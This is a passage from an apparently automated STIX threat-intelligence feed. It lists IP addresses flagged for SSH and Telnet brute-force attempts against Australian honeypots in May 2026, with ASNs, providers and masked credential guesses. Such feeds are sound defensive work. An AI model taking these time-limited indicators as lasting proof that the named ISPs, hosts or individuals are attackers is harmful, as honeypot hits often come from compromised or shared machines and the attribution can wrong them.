      "id": "indicator--85e3424a-8b11-4a5f-ab54-7622f8e3ec71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.33.205.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8005bbbe-7e0b-4638-b638-5d7c8438dd72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.60.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 269854. Organisation(s): LILA SUSANA FERREYRALA CUMBRE TV.",
      "id": "indicator--b1853147-a874-474f-b0fc-5d8776a3c10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.189.77.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--2d91e4b5-a451-450a-8d03-f638fec3851c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.224.163.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--0c3258c1-81d7-45f8-bb12-b8eb742a7aca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.49.101.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 51375. Organisation(s): Stc Bahrain B.s.c Closed.",
      "id": "indicator--5079f51e-d1dc-4755-99df-80ea3803d6c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.63.118.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**5, 1*********#, A********!.",
      "id": "indicator--3546d3b0-cedb-4e23-af48-e801fac98b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.151.178.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6d72ba14-a7ff-46ee-9996-c5983052f050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.208.10.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--9722e3b0-9c6d-422c-82bb-f9bdda4bd525",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.157.236.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--52ba966b-8e2b-43ac-95d4-4655364a95e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.36.187.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8e1f3bec-5ff4-4964-ae2a-13a4550ed616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.80.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--712db464-6995-4b7d-8976-9b51c4209195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.185.244.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, P******7, a************1, c****e.",
      "id": "indicator--1a163e36-10d2-4c7a-bd0c-dbd0c40ac6d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.124.20.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****0, 1**5, Q*******3.",
      "id": "indicator--4cb13760-42e5-42c1-a3c4-c3b55aa6f7df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.115.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1****0, A********!, Q*******3.",
      "id": "indicator--f4b83542-c7ed-4caf-8592-2893073dcc81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.199.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--87038c02-aaa6-4ddd-bbc1-34a973024217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G**************************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--b8e27683-7578-4adf-9392-36bc7f71c1b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.81.23.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1d218202-5030-4838-95df-f3812102c27a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.57.110.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--b76535f2-c9a0-4a2f-bbe0-561185afd3cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 200912. Organisation(s): Joel Krause. Usernames observed (masked): r**t. Passwords observed (masked): 1******************x.",
      "id": "indicator--3ce9fa99-699f-4186-bc2c-532bb5b85882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.83.143.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--b353e67f-e70d-4215-9f1f-cae539da8719",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.65.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d96ce89b-bebd-4fc6-90f5-932d02315ade",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--ff77053d-21d3-40c5-a98d-57a5833b7f3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.163.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:15:10.000Z",
      "valid_until": "2026-06-20T12:15:09.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--d8853ac7-14f7-472f-9a51-32bb0b69ebfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.253.162.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--0cf5b86f-4e7e-4ea0-8a7c-5b85019089cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.182.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 136199. Organisation(s): CHINANET Guangdong province Yuedong MAN network.",
      "id": "indicator--182f889e-5128-4fb4-bb20-bf411bbbcff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.133.239.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a8004d9d-0a77-4cb0-b66e-55364aef378d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.89.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0596664b-fd55-4717-8265-3f7f089f5578",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.233.16.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9f47ad59-0d81-427a-9273-2b5d0be493e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.8.36.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--85c215e0-14fd-413b-90b9-71253872a110",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.34.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--95604dc1-88d3-41b9-a167-5e4882a2d4f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.33.107.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--51519385-ca47-4b7d-885b-2bdd20fbea6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.66.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--11c7b7d4-f15c-4147-bf76-f4e674c62aa9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.215.80.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f9896149-f23b-4f59-9a2b-99c3ebbe2bd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.56.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T13:16:41.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, C********************e, G************1. Passwords observed (masked): A****************************e, H**********************3, U********************************************************************************4.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T13:16:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:16:41.000Z",
      "valid_until": "2026-06-20T13:15:08.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--dce309c8-15ae-466b-9006-682516d4fda0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.157.37.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T14:15:05.000Z",
      "valid_until": "2026-06-20T14:15:03.000Z"
    },
    {
      "created": "2026-05-19T14:15:05.000Z",
